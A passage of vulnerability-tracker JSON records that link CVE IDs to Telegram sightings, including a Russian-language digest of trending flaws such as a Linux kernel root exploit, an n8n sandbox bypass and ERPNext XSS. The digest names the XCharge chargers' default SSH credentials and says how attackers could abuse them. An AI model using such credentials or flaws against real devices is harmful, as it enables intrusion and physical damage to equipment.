"353e8c4d-7db7-46a5-a3a1-2b542045bb90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27927", "type": "seen", "source": "Telegram/xx6YrQ48nE7eM7n_lcnP-YokmYiL7wtsOzbOXntpgEs8_Ls", "content": "", "creation_timestamp": "2026-04-14T20:10:01.000000Z"}, {"uuid": "d42eeca9-c1e4-4823-9d20-7f24f7bc879c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27929", "type": "seen", "source": "Telegram/xx6YrQ48nE7eM7n_lcnP-YokmYiL7wtsOzbOXntpgEs8_Ls", "content": "", "creation_timestamp": "2026-04-14T20:10:01.000000Z"}, {"uuid": "78641baf-5b4a-40d2-b7d6-3d001a0992c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27927", "type": "seen", "source": "Telegram/MPYOvuhYuxNHKnSdBgBqerES9cQfATPjIXRx710jNy8Fd40", "content": "", "creation_timestamp": "2026-04-14T20:09:50.000000Z"}, {"uuid": "bfa96342-7b06-4f23-aa68-86814cbb357c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27924", "type": "seen", "source": "Telegram/MPYOvuhYuxNHKnSdBgBqerES9cQfATPjIXRx710jNy8Fd40", "content": "", "creation_timestamp": "2026-04-14T20:09:50.000000Z"}, {"uuid": "82ac4ec4-e7eb-4c44-9e6f-faf8b96f600d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27928", "type": "seen", "source": "Telegram/xx6YrQ48nE7eM7n_lcnP-YokmYiL7wtsOzbOXntpgEs8_Ls", "content": "", "creation_timestamp": "2026-04-14T20:10:01.000000Z"}, {"uuid": "352789a5-0449-4ec5-9367-bf943abd7142", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27926", "type": "seen", "source": "Telegram/MPYOvuhYuxNHKnSdBgBqerES9cQfATPjIXRx710jNy8Fd40", "content": "", "creation_timestamp": "2026-04-14T20:09:50.000000Z"}, {"uuid": "d6e57d47-af32-4e02-acb3-de809dff8c3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27245", "type": "seen", "source": "Telegram/vjfxnNTg64imjnjxPGt_l8BfvNjTDmt0KKDhXRC5WEaV7Sg", "content": "", "creation_timestamp": "2026-04-14T20:07:48.000000Z"}, {"uuid": "0c00318b-1f5a-421e-a807-a7624c4e2e84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27290", "type": "seen", "source": "Telegram/dGt1m22sw1SGsA9Eug0OSHT5OJOK3joaNLENVhZetMIBpOs", "content": "", "creation_timestamp": "2026-04-15T01:19:06.000000Z"}, {"uuid": "45b0f47f-5a82-458f-bd74-46cb1155cef3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27293", "type": "seen", "source": "Telegram/dGt1m22sw1SGsA9Eug0OSHT5OJOK3joaNLENVhZetMIBpOs", "content": "", "creation_timestamp": "2026-04-15T01:19:06.000000Z"}, {"uuid": "9a8a7fe9-e329-4f76-b7c1-f81d16872f27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27917", "type": "seen", "source": "Telegram/lZLvhzABWQ2EwMRxj_NwRMSXcRfi95gcismHT-d__n4iRXY", "content": "", "creation_timestamp": "2026-04-14T20:09:00.000000Z"}, {"uuid": "e7dca5e3-882f-4b4a-bc78-e2c0f7ff750d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27923", "type": "seen", "source": "Telegram/etSraIZJrdCeJD4H7QtNoIe4qI6fZf21qZLdut_nFGnzBjQ", "content": "", "creation_timestamp": "2026-04-14T20:09:44.000000Z"}, {"uuid": "2bd7f817-1f7f-4ed9-91ee-b2dffe020ed4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27921", "type": "seen", "source": "Telegram/0jgeHXscizs43ee54EGztWwd_V9Ic2oKQwW-sJc5pVSiDug", "content": "", "creation_timestamp": "2026-04-14T20:09:22.000000Z"}, {"uuid": "6e20cba3-26a0-4a20-89a0-2189821a1217", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27303", "type": "seen", "source": "Telegram/b-0H5pCtilxNZxS-gRRPsAW_UA3zqxMoGzwWTkVBCMIvH7s", "content": "", "creation_timestamp": "2026-04-14T20:07:55.000000Z"}, {"uuid": "7e7bf197-97be-4119-a78d-a267d3e6549f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27908", "type": "seen", "source": "Telegram/b-0H5pCtilxNZxS-gRRPsAW_UA3zqxMoGzwWTkVBCMIvH7s", "content": "", "creation_timestamp": "2026-04-14T20:07:55.000000Z"}, {"uuid": "26bed0da-266b-479b-ad84-e98a1ecf843b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27910", "type": "seen", "source": "Telegram/qc8EuM8Ro_JB0nEWybUd-c6JLjAlz3LHwHn05WKBBSScH1U", "content": "", "creation_timestamp": "2026-04-14T20:08:23.000000Z"}, {"uuid": "a53a1dca-a6eb-46a0-8cfb-cb8aada74f4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27911", "type": "seen", "source": "Telegram/qc8EuM8Ro_JB0nEWybUd-c6JLjAlz3LHwHn05WKBBSScH1U", "content": "", "creation_timestamp": "2026-04-14T20:08:23.000000Z"}, {"uuid": "8f9cf80f-0fae-4644-a546-74cdd691c762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27910", "type": "seen", "source": "Telegram/hpPA_XpvJp0--5gr6w3PxZOGaLZZU0iAv9EV7UrRN2AoW4g", "content": "", "creation_timestamp": "2026-04-14T20:08:06.000000Z"}, {"uuid": "11a65e55-c507-40ae-9c3d-ab58c833d7b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27908", "type": "seen", "source": "Telegram/hpPA_XpvJp0--5gr6w3PxZOGaLZZU0iAv9EV7UrRN2AoW4g", "content": "", "creation_timestamp": "2026-04-14T20:08:06.000000Z"}, {"uuid": "134ebddd-a78a-4816-8479-86bf0643c534", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27909", "type": "seen", "source": "Telegram/hpPA_XpvJp0--5gr6w3PxZOGaLZZU0iAv9EV7UrRN2AoW4g", "content": "", "creation_timestamp": "2026-04-14T20:08:06.000000Z"}, {"uuid": "555288a2-ed6e-4dc8-9d25-7fdae250d4a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "Telegram/6ExXV1Od4VYb8655OqF0XVj9CCY2CfKgx9S1m94H6Y9-vF8", "content": "", "creation_timestamp": "2026-04-14T20:08:37.000000Z"}, {"uuid": "995d82cc-f85f-4c78-80f2-3d5b2e091591", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://t.me/S_E_Reborn/6502", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c \u0441 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u0443\u0433\u0440\u043e\u0437\u0430\u043c\u0438, \u043a\u043e\u0438\u0445 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043c\u043d\u043e\u0433\u043e. \u041f\u043e \u043f\u043e\u0440\u044f\u0434\u043a\u0443:\n\n1. STAR Labs \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u044f\u0434\u0440\u0430 Linux, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 root-\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0435 CentOS Stream 9.\n\nCVE-2026-53264 (CVSS: 7.8), \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0438\u0437-\u0437\u0430 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0442\u0440\u0430\u0444\u0438\u043a\u043e\u043c \u044f\u0434\u0440\u0430. \u041d\u0430\u0439\u0442\u0438 \u043e\u0448\u0438\u0431\u043a\u0443 \u0438 \u0443\u0441\u043a\u043e\u0440\u0438\u0442\u044c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u043f\u043e\u043c\u043e\u0433 \u0418\u0418.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0432\u0435\u0442\u043a\u0435 \u0431\u044b\u043b\u043e \u0432\u043d\u0435\u0441\u0435\u043d\u043e 1 \u0438\u044e\u043d\u044f 2026 \u0433\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u044b, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 Linux 4.14. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0440\u0435\u043b\u0438\u0437\u044b: 5.10.259, 5.15.210, 6.1.176, 6.6.143, 6.12.94, 6.18.36 \u0438 7.0.13, \u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0432\u0435\u0442\u043a\u0435 \u0432\u043e\u0448\u043b\u043e \u0432 7.1-rc7.\n\n2. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Lava, \u0411\u043e\u043b\u0435\u0435 24 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0445 \u043a \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443, \u0442\u0435\u0440\u044f\u044e\u0442 \u0445\u044d\u0448\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u0437-\u0437\u0430 CVE-2013-4786 (\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u0441\u043e\u0431\u043e\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 IPMI 2.0, \u043a\u043e\u0440\u0435\u043d\u044f\u0449\u0438\u0439\u0441\u044f \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435, \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u043e\u043c \u0432 2004 \u0433\u043e\u0434\u0443) \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043c\u0430\u0442\u0435\u0440\u0438\u043d\u0441\u043a\u043e\u0439 \u043f\u043b\u0430\u0442\u043e\u0439 (BMC).\n\n3. Arista \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 CVE-2026-16812 \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f\u0445 VeloCloud Orchestrator, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n4. Apple \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 87 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 iOS \u0438 155 \u0432 macOS Tahoe. \u0412 macOS Sequoia 15.7.8 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b 138 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0430 \u0432 macOS Sonoma 14.8.8 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e 127 \u043f\u0440\u043e\u0431\u043b\u0435\u043c.\n\n\u041e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 CVE-2026-43810, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Apple \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u0440\u0435\u0434\u0438\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c \u044f\u0434\u0440\u0430, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044f\u0435\u0442 \u044d\u043a\u043e\u043d\u043e\u043c\u0438\u043a\u0443 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a\n\n5. GitHub \u0438 PyPI \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 Dependabot \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0430\u0442\u0430\u043a \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438\u0445 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439.\n\n6. \u0412 n8n\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (GHSA-gv7g-jm28-cr3m), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0443 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0443\u044e \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0433\u043b\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0443 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\nSecurity Joes \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0437\u0443\u0447\u0430\u044f \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 n8n \u043d\u0430\u00a0\u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 CVE-2026-27577.\n\n7. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 macOS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0437\u0430\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430.\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0440\u0445\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u041f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f. Apple \u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0435 \u0441\u043e\u0447\u043b\u0430 \u0435\u0451 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n8. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c ERPNext, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \u042d\u0442\u043e \u043e\u0434\u043d\u0430 \u0438\u0437 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0438\u043c\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435.\n\n9. CVE-2026-9039 \u0432 \u0437\u0430\u0440\u044f\u0434\u043d\u044b\u0445 \u0441\u0442\u0430\u043d\u0446\u0438\u044f\u0445 XCharge EV \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Sailflow, \u043f\u0440\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f \u043a \u0440\u0430\u0437\u044a\u0435\u043c\u0443 \u043d\u0430 \u0437\u0430\u0440\u044f\u0434\u043d\u043e\u0439 \u0441\u0442\u0430\u043d\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 SSH-\u0441\u0435\u0440\u0432\u0438\u0441.\n\nSSH-\u0441\u0435\u0440\u0432\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e root/root. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0445 \u043f\u043e\u0434\u0437\u0430\u0440\u044f\u0434\u043e\u043a, \u043d\u0430\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0443\u0449\u0435\u0440\u0431\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u0432 \u0441\u0435\u0442\u044c \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430.\n\n10. CSRF-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0430\u0433\u0435\u043d\u0442\u0430\u0445 Workspace \u043e\u0442 OpenAI \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441\u043e\u0437\u0434\u0430\u0442\u044c 